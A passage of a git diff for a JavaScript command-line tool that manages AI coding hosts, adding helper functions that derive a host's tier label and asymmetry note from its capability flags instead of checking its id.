endpoints. - Qualify **projection** as configuration projection or read-model projection when ambiguity is diff --git a/src/commands/x/host.mjs b/src/commands/x/host.mjs index 65cdead..5e48455 100644 --- a/src/commands/x/host.mjs +++ b/src/commands/x/host.mjs @@ -19,6 +19,7 @@ import { loadKitConfig, saveKitConfig } from '../../lib/config.mjs'; import { reconcileOpencodeGuidance } from '../../lib/opencode.mjs'; import { runLifecycle } from '../../lib/adapters/lifecycle.mjs'; import { lifecycleAdapterFor } from '../../lib/adapters/lifecycle-registry.mjs'; +import { hostTierLabel, hostAsymmetryNote } from '../../lib/hosts.mjs'; import { routableHostIds, defaultHostMap, validateBinding, HOST_REGISTRY, PROVIDER_REGISTRY, } from '../../lib/adapters/index.mjs'; @@ -195,12 +196,13 @@ async function status({ flags, cwd }) { : dflt ? 'enabled (default — ruflo default-on, no env written)' : d.wired ? 'enabled, wired' : 'enabled, not wired → ak sync'; - const tier = h.id === 'opencode' ? dim(' · routing host (ak run; never primary/AQE)') - : dim(' · routing host'); + const tier = dim(` · ${hostTierLabel(h.id)}`); // auth/billing axis — subscription ($0) vs metered key, per host. const auth = d.present ? hostAuthState(h.id, { present: true }) : null; const authStr = auth ? dim(` ${auth.mode}/${auth.billing === 'subscription' ? '$0' : auth.billing}`) : ''; console.log(` ${h.id.padEnd(9)} ${(d.version ? `v${d.version}` : '—').padEnd(12)} ${state}${authStr}${tier}`); + const note = hostAsymmetryNote(h.id); + if (note) console.log(` ${dim(note)}`); } // agentic-qe LLM provider (AQE_LLM_PROVIDER) + fallback chain diff --git a/src/lib/hosts.mjs b/src/lib/hosts.mjs index 197b217..ee86490 100644 --- a/src/lib/hosts.mjs +++ b/src/lib/hosts.mjs @@ -23,7 +23,7 @@ // ~/.codex/auth.json (key overrides login). claude auth on macOS lives in the // Keychain (no readable file); ANTHROPIC_API_KEY, when used, is not a simple // override of a subscription login, so we label it conservatively. -import { HOST_REGISTRY } from './adapters/index.mjs'; +import { HOST_REGISTRY, effectiveHostRegistry } from './adapters/index.mjs'; /** Per-host adapter descriptors. Logical names (`guidanceFile`, `loginFile` * segments) are resolved to real paths by callers so this stays pure. */ @@ -69,3 +69,75 @@ export function drivingHost(env = process.env, cfg = null) { if (primary && primaryCapable) return /** @type {'claude'|'codex'} */ (primary); return 'claude'; } + +/** + * Human phrase for a host's tier, derived purely from its capabilities — never + * from `host.id` (the anti-pattern this replaces: x/host.mjs's status() used + * to special-case `h.id === 'opencode'` for its tier text; D-2/F-25/F-26). + * Accepts a host id (resolved against `registry`, default + * effectiveHostRegistry() so an admitted external host resolves too) or a raw + * host-entry object directly (for a synthetic host not registered anywhere). + * TRUE by construction for any capability combination validateHostAdapter + * accepts, including a future built-in or admitted external adapter — the + * label follows the flags, not a name. + * + * @param {string|object} hostIdOrEntry + * @param {{ registry?: ReadonlyArray, builtins?: ReadonlyArray }} [opts] + * @returns {string} '' when the host isn't found or can't drive a session. + */ +export function hostTierLabel(hostIdOrEntry, { registry = effectiveHostRegistry(), builtins = HOST_REGISTRY } = {}) { + const host = typeof hostIdOrEntry === 'string' + ? registry.find((entry) => entry.id === hostIdOrEntry) + : hostIdOrEntry; + if (!host?.capabilities?.canDriveSession) return ''; + const { canBePrimary, canRouteActivities } = host.capabilities; + + if (canBePrimary) return 'drives sessions · can lead'; + if (!canRouteActivities) return 'drives sessions'; + + const isBuiltin = builtins.some((entry) => entry.id === host.id); + const base = isBuiltin ? 'routing only · supervised' : 'routing only · external adapter'; + return host.legacy?.aqeProvider ? base : `${base} · not AQE`; +} + +/** + * A one-line, capability/trust-derived note about a host's asymmetric + * behavior versus the other managed hosts — cross-host MCP delegation (F-25) + * and the ruflo backend env flag / permission consent boundary (F-26) — + * assembled only from facts that are true FOR THIS HOST's own registry + * entry, never from an id check. '' when nothing asymmetric applies. + * + * @param {string|object} hostIdOrEntry + * @param {{ registry?: ReadonlyArray }} [opts] + * @returns {string} + */ +export function hostAsymmetryNote(hostIdOrEntry, { registry = effectiveHostRegistry() } = {}) { + const host = typeof hostIdOrEntry === 'string' + ? registry.find((entry) => entry.id === hostIdOrEntry) + : hostIdOrEntry; + if (!host?.capabilities?.canDriveSession) return ''; + const notes = []; + + // F-25: this host is registered as callable FROM another host via MCP — a + // real bridge capability, read off the trust manifest rather than an id + // check ('expose